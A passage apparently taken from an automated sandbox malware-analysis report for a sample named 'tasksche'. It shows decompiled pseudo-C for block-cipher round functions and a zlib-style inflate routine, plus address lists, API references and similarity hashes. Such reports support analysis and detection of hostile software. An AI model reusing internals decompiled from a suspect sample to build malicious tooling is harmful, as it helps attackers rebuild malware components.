				_t155 =  &(_t154[1]);
				_t278 = (( *_t151 & 0x000000ff) << 0x00000018 | (_t151[1] & 0x000000ff) << 0x00000010 |  *_t154 & 0x000000ff) ^  *(_t344 + 8);
				_v20 = _t278;
				_t158 =  &(_t155[3]);
				_t159 =  &(_t158[1]);
				_t160 =  &(_t159[1]);
				_v16 = ((_t154[1] & 0x000000ff) << 0x00000018 | (_t155[1] & 0x000000ff) << 0x00000010 |  *_t158 & 0x000000ff) ^  *(_t344 + 0xc);
				_t162 =  &(_t160[2]);
				_t163 =  &(_t162[1]);
				_t262 = (( *_t159 & 0x000000ff) << 0x00000018 | ( *_t160 & 0x000000ff) << 0x00000010 |  *_t162 & 0x000000ff) ^  *(_t344 + 0x10);
				_v24 = _t262;
				_t166 =  *(_t344 + 0x410);
				_v28 = _t166;
				_v12 = ((_t162[1] & 0x000000ff) << 0x00000018 | (_t163[1] & 0x000000ff) << 0x00000010) ^  *(_t344 + 0x14);
				if(_t166 > 1) {
					_a4 = _t344 + 0x30;
					_v8 = _t166 - 1;
					do {
						_t245 =  &(_a4[8]);
						_a4 = _t245;
						_v24 =  *0x00408FFC ^  *0x00408BFC ^  *0x004093FC ^  *(0x4097fc + (_v16 & 0x000000ff) * 4) ^  *_a4;
						_v16 =  *0x004093FC ^  *0x00408FFC ^  *0x00408BFC ^  *(0x4097fc + (_t278 & 0x000000ff) * 4) ^  *(_a4 - 4);
						_v12 =  *0x00408BFC ^  *0x004093FC ^  *0x00408FFC ^  *(0x4097fc + (_t262 & 0x000000ff) * 4) ^  *(_t245 - 0x1c);
						_t262 = _v24;
						_v24 = _t262;
						_t278 =  *0x004093FC ^  *0x00408FFC ^  *0x00408BFC ^  *(0x4097fc + (_v12 & 0x000000ff) * 4) ^  *(_t245 - 0x28);
						_t80 =  &_v8;
						 *_t80 = _v8 - 1;
						_v20 = _t278;
					} while ( *_t80 != 0);
					_t166 = _v28;
					_t344 = _v32;
				}
				_t167 = _t166 << 5;
				_t86 = _t344 + 8; // 0x8bf9f759
				_t279 =  *(_t167 + _t86);
				_t88 = _t344 + 8; // 0x40355c
				_t345 = _t167 + _t88;
				_v8 = _t279;
				_t172 = _a8;
				 *_t172 =  *0x004089FC ^ _t279 >> 0x00000018;
				_t172[1] =  *0x004089FC ^ _t279 >> 0x00000010;
				_t97 = _t262 + 0x4089fc; // 0x6bf27b77
				_t172[2] =  *_t97 ^ _v8 >> 0x00000008;
				_t172[3] =  *((_v12 & 0x000000ff) + 0x4089fc) ^ _v8;
				_t104 = _t345 + 4; // 0x33c12bf8
				_t289 =  *_t104;
				_v8 = _t289;
				_t172[4] =  *0x004089FC ^ _t289 >> 0x00000018;
				_t172[5] =  *0x004089FC ^ _v8 >> 0x00000010;
				_t172[6] =  *0x004089FC ^ _v8 >> 0x00000008;
				_t172[7] =  *((_v20 & 0x000000ff) + 0x4089fc) ^ _v8;
				_t121 = _t345 + 8; // 0x6ff83c9
				_t303 =  *_t121;
				_v8 = _t303;
				_t172[8] =  *0x004089FC ^ _t303 >> 0x00000018;
				_t172[9] =  *0x004089FC ^ _v8 >> 0x00000010;
				_t172[0xa] =  *0x004089FC ^ _v8 >> 0x00000008;
				_t263 = _t262 & 0x000000ff;
				_t172[0xb] =  *((_v16 & 0x000000ff) + 0x4089fc) ^ _v8;
				_t137 = _t345 + 0xc; // 0x41c1950f
				_t346 =  *_t137;
				_v8 = _t346;
				_t172[0xc] =  *0x004089FC ^ _t346 >> 0x00000018;
				_t172[0xd] =  *0x004089FC ^ _t346 >> 0x00000010;
				_t172[0xe] =  *0x004089FC ^ _t346 >> 0x00000008;
				_t148 = _t263 + 0x4089fc; // 0x6bf27b77
				_t172[0xf] =  *_t148 ^ _v8;
				return _t172;
			}

0x00402e85
0x00402e87
0x00402e8e
0x00402e98
0x00402ea1
0x00402ea6
0x00402ea7
0x00402ea7
0x00402eac
0x00402eca
0x00402ed4
0x00402ed5
0x00402ee0
0x00402eef
0x00402ef5
0x00402eff
0x00402f00
0x00402f11
0x00402f17
0x00402f18
0x00402f26
0x00402f36
0x00402f3e
0x00402f4c
0x00402f4f
0x00402f59
0x00402f5c
0x00402f5f
0x00402fbf
0x00402fcc
0x00402fd6
0x00403016
0x00403031
0x0040303b
0x0040303e
0x00403041
0x00403044
0x00403044
0x00403047
0x00403047
0x00403050
0x00403053
0x00403053
0x00403056
0x00403059
0x00403059
0x0040305d
0x0040305d
0x00403068
0x00403078
0x0040307b
0x0040308f
0x0040309a
0x004030a4
0x004030b8
0x004030bb
0x004030bb
0x004030c4
0x004030d1
0x004030e5
0x004030fa
0x0040310e
0x00403111
0x00403111
0x0040311a
0x00403127
0x0040313b
0x0040314e
0x00403154
0x00403162
0x00403165
0x00403165
0x0040316f
0x0040317f
0x00403194
0x004031a8
0x004031ab
0x004031b5
0x004031b9

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,00403554,00000002,?,?,?,?), ref: 00402E98
_CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,00403554,00000002,?,?,?,?), ref: 00402EA7

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: ??0exception@@ExceptionThrow
String ID:
API String ID: 941485209-0
Opcode ID: 0b3a82e1866a10e008d9e23789663a186783f6e7ea65f1ebfadb5e40c8bf56e2
Instruction ID: 7c46eb61736c4a52f21da4615b0110659747632e7974af7727d2e67ead4b8ec0
Opcode Fuzzy Hash: 0b3a82e1866a10e008d9e23789663a186783f6e7ea65f1ebfadb5e40c8bf56e2
Instruction Fuzzy Hash: 01B1AD75A081D99EDB05CFB989A04EAFFF2AF4E20474ED1E9C5C4AB313C5306505DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004031BC Relevance: 3.3, APIs: 2, Instructions: 271
COMMONCrypto

Download Yara Rule

C-Code - Quality: 33%

			E004031BC(intOrPtr __ecx, signed int* _a4, signed char* _a8) {
				signed int _v8;
				void* _v9;
				void* _v10;
				void* _v11;
				signed int _v12;
				void* _v13;
				void* _v14;
				void* _v15;
				signed int _v16;
				void* _v17;
				void* _v18;
				void* _v19;
				signed int _v20;
				void* _v21;
				void* _v22;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v48;
				signed char* _t154;
				signed char* _t157;
				signed char* _t158;
				signed char* _t161;
				signed char* _t162;
				signed char* _t165;
				signed int _t169;
				signed int _t170;
				signed char* _t175;
				signed int _t243;
				signed int _t278;
				signed int _t288;
				signed int _t302;
				signed int* _t328;
				signed int _t332;
				signed int* _t342;
				intOrPtr _t343;
				void* _t344;
				signed int _t345;

				_t343 = __ecx;
				_v32 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v48);
					L0040776E();
				}
				_t154 = _a4;
				_t157 =  &(_t154[3]);
				_t158 =  &(_t157[1]);
				_t243 = (( *_t154 & 0x000000ff) << 0x00000018 | (_t154[1] & 0x000000ff) << 0x00000010 |  *_t157 & 0x000000ff) ^  *(_t343 + 0x1e8);
				_v24 = _t243;
				_t161 =  &(_t158[3]);
				_t162 =  &(_t161[1]);
				_v20 = ((_t157[1] & 0x000000ff) << 0x00000018 | (_t158[1] & 0x000000ff) << 0x00000010 |  *_t161 & 0x000000ff) ^  *(_t343 + 0x1ec);
				_t165 =  &(_t162[3]);
				_t166 =  &(_t165[1]);
				_v16 = (( *_t162 & 0x000000ff) << 0x00000018 | (_t162[1] & 0x000000ff) << 0x00000010 |  *_t165 & 0x000000ff) ^  *(_t343 + 0x1f0);
				_t169 =  *(_t343 + 0x410);
				_v36 = _t169;
				_v12 = ((_t165[1] & 0x000000ff) << 0x00000018 | (_t166[1] & 0x000000ff) << 0x00000010) ^  *(_t343 + 0x1f4);
				if(_t169 > 1) {
					_t328 = _t343 + 0x210;
					_a4 = _t328;
					_v8 = _t169 - 1;
					do {
						_t332 =  *0x00409BFC ^  *0x00409FFC;
						_v28 = _t332;
						_v28 = _t332 ^  *0x0040A3FC ^  *(0x40a7fc + (_t243 & 0x000000ff) * 4) ^ _a4[1];
						_v16 =  *0x00409BFC ^  *0x00409FFC ^  *0x0040A3FC ^  *(0x40a7fc + (_v12 & 0x000000ff) * 4) ^  *_t328;
						_v12 = _v28;
						_v20 =  *0x0040A3FC ^  *0x00409BFC ^  *0x00409FFC ^  *(0x40a7fc + (_v16 & 0x000000ff) * 4) ^  *(_t328 - 4);
						_t342 = _a4;
						_t243 =  *0x00409FFC ^  *0x0040A3FC ^  *0x00409BFC ^  *(0x40a7fc + (_v20 & 0x000000ff) * 4) ^  *(_t342 - 8);
						_t328 = _t342 + 0x20;
						_t82 =  &_v8;
						 *_t82 = _v8 - 1;
						_a4 = _t328;
						_v24 = _t243;
					} while ( *_t82 != 0);
					_t343 = _v32;
					_t169 = _v36;
				}
				_t170 = _t169 << 5;
				_t278 =  *(_t343 + 0x1e8 + _t170);
				_t344 = _t343 + 0x1e8 + _t170;
				_v8 = _t278;
				_t175 = _a8;
				 *_t175 =  *0x00408AFC ^ _t278 >> 0x00000018;
				_t175[1] =  *0x00408AFC ^ _t278 >> 0x00000010;
				_t175[2] =  *0x00408AFC ^ _v8 >> 0x00000008;
				_t175[3] =  *((_v20 & 0x000000ff) + 0x408afc) ^ _v8;
				_t288 =  *(_t344 + 4);
				_v8 = _t288;
				_t175[4] =  *0x00408AFC ^ _t288 >> 0x00000018;
				_t175[5] =  *0x00408AFC ^ _v8 >> 0x00000010;
				_t175[6] =  *0x00408AFC ^ _v8 >> 0x00000008;
				_t175[7] =  *((_v16 & 0x000000ff) + 0x408afc) ^ _v8;
				_t302 =  *(_t344 + 8);
				_v8 = _t302;
				_t175[8] =  *0x00408AFC ^ _t302 >> 0x00000018;
				_t175[9] =  *0x00408AFC ^ _v8 >> 0x00000010;
				_t175[0xa] =  *0x00408AFC ^ _v8 >> 0x00000008;
				_t175[0xb] =  *((_v12 & 0x000000ff) + 0x408afc) ^ _v8;
				_t345 =  *(_t344 + 0xc);
				_v8 = _t345;
				_t175[0xc] =  *0x00408AFC ^ _t345 >> 0x00000018;
				_t175[0xd] =  *0x00408AFC ^ _t345 >> 0x00000010;
				_t175[0xe] =  *0x00408AFC ^ _t345 >> 0x00000008;
				_t175[0xf] =  *((_t243 & 0x000000ff) + 0x408afc) ^ _v8;
				return _t175;
			}

0x004031c3
0x004031c5
0x004031cc
0x004031d6
0x004031df
0x004031e4
0x004031e5
0x004031e5
0x004031ea
0x00403206
0x00403210
0x00403211
0x0040321f
0x0040322e
0x00403234
0x0040323f
0x00403255
0x0040325b
0x00403266
0x0040327d
0x00403285
0x00403296
0x00403299
0x0040329f
0x004032a6
0x004032a9
0x004032ac
0x00403323
0x0040332f
0x0040334b
0x0040335a
0x0040336c
0x0040337b
0x00403385
0x00403388
0x0040338b
0x0040338e
0x0040338e
0x00403391
0x00403394
0x00403394
0x0040339d
0x004033a0
0x004033a0
0x004033a3
0x004033a6
0x004033ad
0x004033bb
0x004033cb
0x004033ce
0x004033e5
0x004033f8
0x0040340c
0x0040340f
0x00403418
0x00403425
0x00403439
0x0040344e
0x00403462
0x00403465
0x0040346e
0x0040347b
0x0040348f
0x004034a1
0x004034b5
0x004034b8
0x004034c2
0x004034d2
0x004034e7
0x004034fb
0x00403508
0x0040350c

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,004037DC,00000002,?,?,?,?), ref: 004031D6
_CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,?,004037DC,00000002,?,?,?,?), ref: 004031E5

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: ??0exception@@ExceptionThrow
String ID:
API String ID: 941485209-0
Opcode ID: 0dda08770b2cfa47ca0284abc8234425fc657ac4a7c18576e4d0461ed08ab4c9
Instruction ID: bcf4991698fce177fafabfcfbf4d003d7da0a1e91b0dfae35dbc96c431f9713a
Opcode Fuzzy Hash: 0dda08770b2cfa47ca0284abc8234425fc657ac4a7c18576e4d0461ed08ab4c9
Instruction Fuzzy Hash: 43B1A135A081D99EDB05CFB984A04EAFFF2AF8E200B4ED1E6C9D4AB713C5705615DB84

Uniqueness

Uniqueness Score: -1.00%

Function 004043B7 Relevance: 1.9, APIs: 1, Instructions: 682
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E004043B7() {
				void* __ebx;
				void** __edi;
				void* __esi;
				signed int _t426;
				signed int _t427;
				void* _t434;
				signed int _t436;
				unsigned int _t438;
				void* _t442;
				void* _t448;
				void* _t455;
				signed int _t456;
				signed int _t461;
				signed char* _t476;
				signed int _t482;
				signed int _t485;
				signed int* _t488;
				void* _t490;
				void* _t492;
				void* _t493;

				_t490 = _t492;
				_t493 = _t492 - 0x2c;
				_t488 =  *(_t490 + 8);
				_t485 =  *(_t490 + 0xc);
				_t482 = _t488[0xd];
				_t476 =  *_t485;
				 *(_t490 - 4) =  *(_t485 + 4);
				 *(_t490 + 8) = _t488[8];
				 *(_t490 + 0xc) = _t488[7];
				_t426 = _t488[0xc];
				 *(_t490 - 8) = _t482;
				if(_t482 >= _t426) {
					_t479 = _t488[0xb] - _t482;
					__eflags = _t479;
				} else {
					_t479 = _t426 - _t482 - 1;
				}
				_t427 =  *_t488;
				 *(_t490 - 0x10) = _t479;
				if(_t427 > 9) {
					L99:
					_push(0xfffffffe);
					_t488[8] =  *(_t490 + 8);
					_t488[7] =  *(_t490 + 0xc);
					 *(_t485 + 4) =  *(_t490 - 4);
					 *_t485 = _t476;
					_t320 = _t485 + 8;
					 *_t320 =  *(_t485 + 8) + _t476 -  *_t485;
					__eflags =  *_t320;
					_t488[0xd] =  *(_t490 - 8);
					goto L100;
				} else {
					while(1) {
						switch( *((intOrPtr*)(_t427 * 4 +  &M00404BBD))) {
							case 0:
								goto L7;
							case 1:
								goto L20;
							case 2:
								goto L27;
							case 3:
								goto L50;
							case 4:
								goto L58;
							case 5:
								goto L68;
							case 6:
								goto L92;
							case 7:
								goto L118;
							case 8:
								goto L122;
							case 9:
								goto L104;
						}
						L92:
						__eax =  *(__ebp + 8);
						 *(__esi + 0x20) =  *(__ebp + 8);
						__eax =  *(__ebp + 0xc);
						 *(__esi + 0x1c) =  *(__ebp + 0xc);
						__eax =  *(__ebp - 4);
						__edi[1] =  *(__ebp - 4);
						__ebx = __ebx -  *__edi;
						 *__edi = __ebx;
						__edi[2] = __edi[2] + __ebx -  *__edi;
						__eax =  *(__ebp - 8);
						 *(__esi + 0x34) =  *(__ebp - 8);
						__eax = E00403CFC(__esi, __edi,  *(__ebp + 0x10));
						__eflags = __eax - 1;
						if(__eax != 1) {
							L120:
							_push(__eax);
							L100:
							_push(_t485);
							_push(_t488);
							_t434 = E00403BD6(_t479);
							L101:
							return _t434;
						}
						 *(__ebp + 0x10) =  *(__ebp + 0x10) & 0x00000000;
						E004042AF( *(__esi + 4), __edi) = __edi[1];
						__ebx =  *__edi;
						 *(__ebp - 4) = __edi[1];
						__eax =  *(__esi + 0x20);
						_pop(__ecx);
						 *(__ebp + 8) =  *(__esi + 0x20);
						__eax =  *(__esi + 0x1c);
						_pop(__ecx);
						__ecx =  *(__esi + 0x34);
						 *(__ebp + 0xc) =  *(__esi + 0x1c);
						__eax =  *(__esi + 0x30);
						 *(__ebp - 8) = __ecx;
						__eflags = __ecx - __eax;
						if(__ecx >= __eax) {
							__eax =  *(__esi + 0x2c);
							__eax =  *(__esi + 0x2c) -  *(__ebp - 8);
							__eflags = __eax;
						} else {
							__eax = __eax - __ecx;
							__eax = __eax - 1;
						}
						__eflags =  *(__esi + 0x18);
						 *(__ebp - 0x10) = __eax;
						if( *(__esi + 0x18) != 0) {
							 *__esi = 7;
							goto L118;
						} else {
							 *__esi =  *__esi & 0x00000000;
							__eflags =  *__esi;
							L98:
							_t427 =  *_t488;
							__eflags = _t427 - 9;
							if(_t427 <= 9) {
								_t479 =  *(_t490 - 0x10);
								continue;
							}
							goto L99;
						}
						while(1) {
							L68:
							__eax =  *(__esi + 4);
							__ecx =  *(__esi + 8);
							__edx = __eax;
							__eax = __eax & 0x0000001f;
							__edx = __edx >> 5;
							__edx = __edx & 0x0000001f;
							_t187 = __eax + 0x102; // 0x102
							__eax = __edx + _t187;
							__eflags = __ecx - __edx + _t187;
							if(__ecx >= __edx + _t187) {
								break;
							}
							__eax =  *(__esi + 0x10);
							while(1) {
								__eflags =  *(__ebp + 0xc) - __eax;
								if( *(__ebp + 0xc) >= __eax) {
									break;
								}
								__eflags =  *(__ebp - 4);
								if( *(__ebp - 4) == 0) {
									L107:
									_t488[8] =  *(_t490 + 8);
									_t488[7] =  *(_t490 + 0xc);
									_t349 = _t485 + 4;
									 *_t349 =  *(_t485 + 4) & 0x00000000;
									__eflags =  *_t349;
									L108:
									_push( *(_t490 + 0x10));
									 *_t485 = _t476;
									 *(_t485 + 8) =  *(_t485 + 8) + _t476 -  *_t485;
									_t488[0xd] =  *(_t490 - 8);
									goto L100;
								}
								__edx =  *__ebx & 0x000000ff;
								__ecx =  *(__ebp + 0xc);
								 *(__ebp + 0x10) =  *(__ebp + 0x10) & 0x00000000;
								 *(__ebp - 4) =  *(__ebp - 4) - 1;
								__edx = ( *__ebx & 0x000000ff) << __cl;
								 *(__ebp + 8) =  *(__ebp + 8) | ( *__ebx & 0x000000ff) << __cl;
								__ebx = __ebx + 1;
								 *(__ebp + 0xc) =  *(__ebp + 0xc) + 8;
							}
							__eax =  *(0x40bca8 + __eax * 4);
							__ecx =  *(__esi + 0x14);
							__eax = __eax &  *(__ebp + 8);
							__edx =  *(__ecx + 4 + __eax * 8);
							__eax = __ecx + __eax * 8;
							__eflags = __edx - 0x10;
							 *(__ebp - 0x14) = __edx;
							__ecx =  *(__eax + 1) & 0x000000ff;
							 *(__ebp - 0xc) = __ecx;
							if(__edx >= 0x10) {
								__eflags = __edx - 0x12;
								if(__edx != 0x12) {
									_t222 = __edx - 0xe; // -14
									__eax = _t222;
								} else {
									__eax = 7;
								}
								__ecx = 0;
								__eflags = __edx - 0x12;
								0 | __eflags != 0x00000000 = (__eflags != 0) - 1;
								__ecx = (__eflags != 0x00000000) - 0x00000001 & 0x00000008;
								__ecx = ((__eflags != 0x00000000) - 0x00000001 & 0x00000008) + 3;
								__eflags = __ecx;
								 *(__ebp - 0x10) = __ecx;
								while(1) {
									__ecx =  *(__ebp - 0xc);
									__edx = __eax + __ecx;
									__eflags =  *(__ebp + 0xc) - __eax + __ecx;
									if( *(__ebp + 0xc) >= __eax + __ecx) {
										break;
									}
									__eflags =  *(__ebp - 4);
									if( *(__ebp - 4) == 0) {
										goto L107;
									}
									__edx =  *__ebx & 0x000000ff;
									__ecx =  *(__ebp + 0xc);
									 *(__ebp + 0x10) =  *(__ebp + 0x10) & 0x00000000;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									__edx = ( *__ebx & 0x000000ff) << __cl;
									 *(__ebp + 8) =  *(__ebp + 8) | ( *__ebx & 0x000000ff) << __cl;
									__ebx = __ebx + 1;
									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 8;
								}
								 *(__ebp + 8) =  *(__ebp + 8) >> __cl;
								 *(0x40bca8 + __eax * 4) =  *(0x40bca8 + __eax * 4) &  *(__ebp + 8);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) + ( *(0x40bca8 + __eax * 4) &  *(__ebp + 8));
								__ecx = __eax;
								 *(__ebp + 8) =  *(__ebp + 8) >> __cl;
								__ecx =  *(__ebp - 0xc);
								__eax = __eax +  *(__ebp - 0xc);
								__ecx =  *(__esi + 8);
								 *(__ebp + 0xc) =  *(__ebp + 0xc) - __eax;
								__eax =  *(__esi + 4);
								__edx = __eax;
								__eax = __eax & 0x0000001f;
								__edx = __edx >> 5;
								__edx = __edx & 0x0000001f;
								_t254 = __eax + 0x102; // 0x102
								__eax = __edx + _t254;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) + __ecx;
								__eflags =  *(__ebp - 0x10) + __ecx - __eax;
								if( *(__ebp - 0x10) + __ecx > __eax) {
									L111:
									__edi[9](__edi[0xa],  *(__esi + 0xc)) =  *(__ebp + 8);
									 *__esi = 9;
									__edi[6] = "invalid bit length repeat";
									 *(__esi + 0x20) =  *(__ebp + 8);
									__eax =  *(__ebp + 0xc);
									 *(__esi + 0x1c) =  *(__ebp + 0xc);
									__eax =  *(__ebp - 4);
									__edi[1] =  *(__ebp - 4);
									__ebx = __ebx -  *__edi;
									 *__edi = __ebx;
									__edi[2] = __edi[2] + __ebx -  *__edi;
									__eax =  *(__ebp - 8);
									 *(__esi + 0x34) =  *(__ebp - 8);
									__eax = E00403BD6(__ecx, __esi, __edi, 0xfffffffd);
									goto L101;
								}
								__eflags =  *(__ebp - 0x14) - 0x10;
								if( *(__ebp - 0x14) != 0x10) {
									__eax = 0;
									__eflags = 0;
									do {
										L87:
										__edx =  *(__esi + 0xc);
										 *( *(__esi + 0xc) + __ecx * 4) = __eax;
										__ecx = __ecx + 1;
										_t264 = __ebp - 0x10;
										 *_t264 =  *(__ebp - 0x10) - 1;
										__eflags =  *_t264;
									} while ( *_t264 != 0);
									 *(__esi + 8) = __ecx;
									continue;
								}
								__eflags = __ecx - 1;
								if(__ecx < 1) {
									goto L111;
								}
								__eax =  *(__esi + 0xc);
								__eax =  *( *(__esi + 0xc) + __ecx * 4 - 4);
								goto L87;
							}
							 *(__ebp + 8) =  *(__ebp + 8) >> __cl;
							__eax = __ecx;
							__ecx =  *(__esi + 0xc);
							 *(__ebp + 0xc) =  *(__ebp + 0xc) - __eax;
							__eax =  *(__esi + 8);
							 *( *(__esi + 0xc) +  *(__esi + 8) * 4) = __edx;
							 *(__esi + 8) =  *(__esi + 8) + 1;
						}
						__ecx = __ebp - 0x28;
						__eax =  *(__esi + 4);
						 *(__esi + 0x14) =  *(__esi + 0x14) & 0x00000000;
						 *(__ebp - 0x14) = 9;
						__ebp - 0x2c = __ebp - 0x10;
						__ecx = __ebp - 0x14;
						__ecx = __eax;
						__eax = __eax & 0x0000001f;
						__ecx = __ecx >> 5;
						__ecx = __ecx & 0x0000001f;
						__eax = __eax + 0x101;
						__ecx = __ecx + 1;
						 *(__ebp - 0x10) = 6;
						__eax = E0040501F(__eax, __ecx,  *(__esi + 0xc), __ebp - 0x14, __ebp - 0x10, __ebp - 0x2c, __ebp - 0x28,  *((intOrPtr*)(__esi + 0x24)), __edi);
						 *(__ebp - 0xc) = __eax;
						__eflags = __eax;
						if(__eax != 0) {
							__eflags =  *(__ebp - 0xc) - 0xfffffffd;
							L113:
							if(__eflags == 0) {
								__eax = __edi[9](__edi[0xa],  *(__esi + 0xc));
								_pop(__ecx);
								 *__esi = 9;
								_pop(__ecx);
							}
							__eax =  *(__ebp + 8);
							_push( *(__ebp - 0xc));
							 *(__esi + 0x20) =  *(__ebp + 8);
							__eax =  *(__ebp + 0xc);
							 *(__esi + 0x1c) =  *(__ebp + 0xc);
							__eax =  *(__ebp - 4);
							__edi[1] =  *(__ebp - 4);
							__ebx = __ebx -  *__edi;
							 *__edi = __ebx;
							__edi[2] = __edi[2] + __ebx -  *__edi;
							__eax =  *(__ebp - 8);
							 *(__esi + 0x34) =  *(__ebp - 8);
							goto L100;
						}
						__eax = E00403CC8( *(__ebp - 0x14),  *(__ebp - 0x10),  *((intOrPtr*)(__ebp - 0x2c)),  *(__ebp - 0x28), __edi);
						__eflags = __eax;
						if(__eax == 0) {
							L116:
							_push(0xfffffffc);
							_t488[8] =  *(_t490 + 8);
							_t488[7] =  *(_t490 + 0xc);
							 *(_t485 + 4) =  *(_t490 - 4);
							 *_t485 = _t476;
							 *(_t485 + 8) =  *(_t485 + 8) + _t476 -  *_t485;
							_t488[0xd] =  *(_t490 - 8);
							goto L100;
						}
						 *(__esi + 4) = __eax;
						__eax = __edi[9](__edi[0xa],  *(__esi + 0xc));
						_pop(__ecx);
						 *__esi = 6;
						_pop(__ecx);
						goto L92;
						L58:
						 *(__esi + 4) =  *(__esi + 4) >> 0xa;
						__eax = ( *(__esi + 4) >> 0xa) + 4;
						__eflags =  *(__esi + 8) - ( *(__esi + 4) >> 0xa) + 4;
						if( *(__esi + 8) >= ( *(__esi + 4) >> 0xa) + 4) {
							while(1) {
								L64:
								__eflags =  *(__esi + 8) - 0x13;
								if( *(__esi + 8) >= 0x13) {
									break;
								}
								__eax =  *(__esi + 8);
								__ecx =  *(__esi + 0xc);
								 *(__ecx +  *(0x40cdf0 +  *(__esi + 8) * 4) * 4) =  *( *(__esi + 0xc) +  *(0x40cdf0 +  *(__esi + 8) * 4) * 4) & 0x00000000;
								 *(__esi + 8) =  *(__esi + 8) + 1;
							}
							__ecx = __esi + 0x14;
							__eax = __esi + 0x10;
							 *(__esi + 0x10) = 7;
							__eax = E00404FA0( *(__esi + 0xc), __eax, __ecx,  *((intOrPtr*)(__esi + 0x24)), __edi);
							 *(__ebp - 0xc) = __eax;
							__eflags = __eax;
							if(__eax != 0) {
								__eflags =  *(__ebp - 0xc) - 0xfffffffd;
								goto L113;
							}
							_t182 = __esi + 8;
							 *_t182 =  *(__esi + 8) & __eax;
							__eflags =  *_t182;
							 *__esi = 5;
							goto L68;
						} else {
							goto L59;
						}
						do {
							L59:
							__ecx =  *(__ebp + 0xc);
							while(1) {
								__eflags = __ecx - 3;
								if(__ecx >= 3) {
									goto L63;
								}
								__eflags =  *(__ebp - 4);
								if( *(__ebp - 4) == 0) {
									goto L107;
								}
								__eax =  *__ebx & 0x000000ff;
								 *(__ebp + 0x10) =  *(__ebp + 0x10) & 0x00000000;
								 *(__ebp - 4) =  *(__ebp - 4) - 1;
								__eax = ( *__ebx & 0x000000ff) << __cl;
								 *(__ebp + 8) =  *(__ebp + 8) | ( *__ebx & 0x000000ff) << __cl;
								__ebx = __ebx + 1;
								__ecx = __ecx + 8;
								 *(__ebp + 0xc) = __ecx;
							}
							L63:
							__ecx =  *(__esi + 8);
							__eax =  *(__ebp + 8);
							__edx =  *(__esi + 0xc);
							__eax =  *(__ebp + 8) & 0x00000007;
							__ecx =  *(0x40cdf0 +  *(__esi + 8) * 4);
							 *(__ebp + 0xc) =  *(__ebp + 0xc) - 3;
							 *(__ebp + 8) =  *(__ebp + 8) >> 3;
							 *( *(__esi + 0xc) +  *(0x40cdf0 +  *(__esi + 8) * 4) * 4) =  *(__ebp + 8) & 0x00000007;
							__ecx =  *(__esi + 4);
							 *(__esi + 8) =  *(__esi + 8) + 1;
							__eax =  *(__esi + 8);
							 *(__esi + 4) >> 0xa = ( *(__esi + 4) >> 0xa) + 4;
							__eflags =  *(__esi + 8) - ( *(__esi + 4) >> 0xa) + 4;
						} while ( *(__esi + 8) < ( *(__esi + 4) >> 0xa) + 4);
						goto L64;
						L50:
						__ecx =  *(__ebp + 0xc);
						while(1) {
							__eflags = __ecx - 0xe;
							if(__ecx >= 0xe) {
								break;
							}
							__eflags =  *(__ebp - 4);
							if( *(__ebp - 4) == 0) {
								goto L107;
							}
							__eax =  *__ebx & 0x000000ff;
							 *(__ebp + 0x10) =  *(__ebp + 0x10) & 0x00000000;
							 *(__ebp - 4) =  *(__ebp - 4) - 1;
							__eax = ( *__ebx & 0x000000ff) << __cl;
							 *(__ebp + 8) =  *(__ebp + 8) | ( *__ebx & 0x000000ff) << __cl;
							__ebx = __ebx + 1;
							__ecx = __ecx + 8;
							 *(__ebp + 0xc) = __ecx;
						}
						__eax =  *(__ebp + 8);
						__eax =  *(__ebp + 8) & 0x00003fff;
						__ecx = __eax;
						 *(__esi + 4) = __eax;
						__ecx = __eax & 0x0000001f;
						__eflags = __ecx - 0x1d;
						if(__ecx > 0x1d) {
							L109:
							 *__esi = 9;
							__edi[6] = "too many length or distance symbols";
							break;
						}
						__eax = __eax & 0x000003e0;
						__eflags = (__eax & 0x000003e0) - 0x3a0;
						if((__eax & 0x000003e0) > 0x3a0) {
							goto L109;
						}
						__eax = __eax >> 5;
						__eax = __eax & 0x0000001f;
						__eax = __edi[8](__edi[0xa], __eax, 4);
						__esp = __esp + 0xc;
						 *(__esi + 0xc) = __eax;
						__eflags = __eax;
						if(__eax == 0) {
							goto L116;
						}
						 *(__ebp + 8) =  *(__ebp + 8) >> 0xe;
						 *(__ebp + 0xc) =  *(__ebp + 0xc) - 0xe;
						_t138 = __esi + 8;
						 *_t138 =  *(__esi + 8) & 0x00000000;
						__eflags =  *_t138;
						 *__esi = 4;
						goto L58;
						L27:
						__eflags =  *(__ebp - 4);
						if( *(__ebp - 4) == 0) {
							goto L107;
						}
